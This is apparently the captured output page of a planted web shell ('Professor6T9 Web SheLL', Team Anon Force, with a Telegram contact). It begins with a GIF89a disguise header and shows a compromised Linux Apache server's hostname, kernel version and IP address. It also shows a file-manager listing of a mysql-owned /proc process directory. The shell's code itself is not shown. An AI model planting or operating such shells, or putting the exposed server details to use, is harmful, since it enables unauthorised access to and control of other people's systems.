GIF89;aGIF89;aGIF89;a

Team Anon Force

https://t.me/Professor6T9x

Professor6T9 Web SheLL
 Linux vmi1105694.contaboserver.net 5.4.0-105-generic #119-Ubuntu SMP Mon Mar 7 18:49:24 UTC 2022 x86_64
 Apache
 167.86.79.110
Name Type Size Owner/Group Permission Last Modified Actions
. dir - mysql/mysql 0555 2025-12-27 08:32:28
.. dir - mysql/mysql 0555 2025-12-27 08:22:22
attr dir - mysql/mysql 0555 2025-12-27 08:32:28
fd dir - mysql/mysql 0500 2025-12-27 08:32:28
fdinfo dir - mysql/mysql 0500 2025-12-27 08:32:28
net dir - mysql/mysql 0555 2025-12-27 08:32:28
ns dir - mysql/mysql 0511 2025-12-27 08:32:28
arch_status application/x-empty 0 B mysql/mysql 0444 2025-12-27 08:32:28
auxv 0 B mysql/mysql 0400 2025-12-27 08:32:28
cgroup text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
children application/x-empty 0 B mysql/mysql 0444 2025-12-27 08:32:28
clear_refs 0 B mysql/mysql 0200 2025-12-27 08:32:28
cmdline text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
comm text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
cpuset text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
environ 0 B mysql/mysql 0400 2025-12-27 08:32:28
gid_map text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
io 0 B mysql/mysql 0400 2025-12-27 08:32:28
limits text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
loginuid text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
maps 0 B mysql/mysql 0444 2025-12-27 08:32:28
mem 0 B mysql/mysql 0600 2025-12-27 08:32:28
mountinfo text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
mounts text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
numa_maps 0 B mysql/mysql 0444 2025-12-27 08:32:28
oom_adj text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
oom_score text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
oom_score_adj text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
pagemap 0 B mysql/mysql 0400 2025-12-27 08:32:28
patch_state 0 B mysql/mysql 0400 2025-12-27 08:32:28
personality 0 B mysql/mysql 0400 2025-12-27 08:32:28
projid_map text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
sched text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
schedstat text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
sessionid text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
setgroups text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
smaps 0 B mysql/mysql 0444 2025-12-27 08:32:28
smaps_rollup 0 B mysql/mysql 0444 2025-12-27 08:32:28
stack 0 B mysql/mysql 0400 2025-12-27 08:32:28
stat text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
statm text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
status text/plain 0 B mysql/mysql 0444 2025-12-27 08:32:28
syscall 0 B mysql/mysql 0400 2025-12-27 08:32:28
uid_map text/plain 0 B mysql/mysql 0644 2025-12-27 08:32:28
wchan application/octet-stream 0 B mysql/mysql 0444 2025-12-27 08:32:28
© Professor6T9